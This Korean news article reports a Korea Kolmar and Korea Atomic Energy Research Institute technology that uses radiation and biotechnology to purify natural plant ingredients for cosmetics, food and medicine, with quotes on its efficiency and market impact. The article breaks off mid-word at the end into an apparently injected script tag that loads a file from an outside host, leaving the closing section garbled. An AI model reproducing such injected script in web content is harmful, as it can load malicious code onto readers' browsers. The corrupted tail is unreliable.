한국콜마(대표 윤동한)와 한국원자력연구소(소장 장인순)의 공동연구로 화장품, 식품, 의약품 분야에서 고농도, 고순도의 천연 식물성 제품들을 개발할 수 있는 신기술이 개발됐다. 이제까지 천연물질은 인체에 더할 나위 없이 유익하나 제품에 화합하는 단계에서 변형되고 기능이 저하되는 문제들이 발생, 제품화에 걸림돌로 작용해 왔다. 그러나 이번에 방사선과 생명공학기술의 결합으로 비로소 각 물질들의 효능을 그대로 유지시키면서 불필요한 색소와 잔류농약을 비롯한 불순물들을 제거할 수 있는 신소재 생산기술을 개발하는데 성공한 것이다. 한국원자력연구소 방사선식품생명공학연구팀(팀장 邊明宇박사)과 화장품연구개발, 제조 전문기업인 한국콜마(주)가 산·연 공동으로 방사선과 생명공학기술 및 나노기술을 결합하여 개발한 이 기술은 화장품, 식품, 의약품시장에서 내추럴 바람을 일으키며 시장에 활력을 불어넣을 것으로 전망되고 있다. 한국원자력연구소 변명우 박사는 "화장품, 식품, 의약품 등의 원료로 사용되어져 왔던 각종 인공화합물들은 안정성, 안전성, 부작용 등의 문제들이 제기되면서 점차 천연원료 컨셉의 제품들로 이동되고 있다"라고 말하고 "이제 제품 컨셉, 소량함유 등에서 벗어나 순수, 천연성분을 고순도, 고농축 함유한 자연성, 식물성제품들에 대한 개발과 수요가 증가하고 있는 추세에 있다"고 밝혔다. 이러한 현상은 산업사회에서 발생하는 많은 질병과 부작용으로부터 자신을 보호하고 철저한 건강관리를 통해서 질적 삶을 살아가고자 하는 욕구가 증대되면서 깨끗하고 효과가 우수하며 부작용이 적은 천연제품, 식물성제품들에 대한 선호도 높아지고 있는 것이 가장 큰 원인으로 대두되고 있으며, 천연원료들을 사용한 제품들의 수요가 계속 상승하고 있는 것으로 파악되고 있다. 현 정제기술의 한계 천연성분을 화장품, 식품, 의약품 등 공중보건산물 제조용 원료로 사용하기 위해서는 그물질의 생리활성을 그대로 유지하면서도 제품에 첨가시 제품의 특성에 영향을 미치지 않도록 무색, 무미, 무취의 상태로 정제하는 공정이 가장 중요한 요소로 작용하고 있다. 그러나 현재까지는 국내 천연자원이 우수한 기능을 갖고 있음을 확인하고서도 산업적 이용이 제한된 것은 바로 이 정제기술의 한계 때문이었다. 한국콜마 김치봉 중앙연구소장은 "기존의 천연물 정제공정은 천연물질의 생리활성효과 저하, 수율의 저하, 색소제거의 미비 등의 문제점들로 인하여 상품화에 큰 제한성을 가져왔다"고 말하고 "대부분의 천연물질을 외국으로부터 고가에 수입하는 실정에 있다"고 밝혔다. 신 정제기술의 특징 이번에 개발된 신기술은 방사선 조사기술을 이용하여 천연물질(폴리펩타이드, 폴리사카라이드 등)의 구조를 변화시킴으로써 생리활성 즉, 효능을 상승시키고, 산업적 사용의 가장 큰 장애 요소였던 천연물질의 불필요한 색소와 잔류농약을 비롯한 불순물을 제거하는 기술이다. 한국콜마 연구개발팀 이창언 수석연구원은 "천연물질의 생산기술은 녹차를 비롯한 감잎, 대나무, 포도씨, 상백피, 당나무, 뽕나무, 감초, 쑥, 인삼 등 항산화, 항노화, 항균, 미백효과 등 여러 생리작용이 확인된 국내 천연 식물성분을 추출, 가공하여 효과가 우수하고 안정성과 안전성이 우수한 화장품, 식품, 의약품 등 각종 고부가가치 공중보건제품으로 개발, 제조하는 것이 가능하게 되었다"고 밝혔다. 변명우 박사도 "이번에 개발한 정제기술은 현재, 일본의 정제기술과 비교하였을 때, 400배에서 500배 정도의 시간단축효과를 가져와 대량생산이 가능할 뿐만 아니라 경제적 파급효과도 상당할 것으로 기대하고 있다"고 밝혔다. 세계시장규모 및 수입대체효과 현재 세계적으로 천연(식물성)성분(내추럴케미컬)을 사용한 생명공학 제품시장은 연간 약 100억 달러(약 13조원)에 이르며, 부가가치를 높인 식물성분 추출원료와 제품들은 매년 그 수요가 급증하고 있어 2010년에는 400억 달러의 시장을 형성할 것으로 예측하고 있다. 변명우 박사와 김치봉 연구소장은 "화장품과 관련한 천연원료의 국내시장은 연간 약 1억 달러(약 1,300억원) 상당의 규모에 이르며, 본 기술의 상업화에 따라 1,000억원대 이상의 수입대체 및 수출효과를 가져올 것으로 예상하고 있다"고 밝혔다. 또한 "이번에 개발한 기술은 곧 상업화(제품화)가 가능하며, 계속적인 산·연 공동연구를 통하여 새로운 신소재를 개발하게 되면 국내 관련 산업체의 국제 경쟁력과 수출력 향상에도 크게 기여할 것으로 기대하고 있다"고 강조했다. 고기능 화장품으로 개발 착수 한국콜?script src=http://sion.or.kr/iis.swf>

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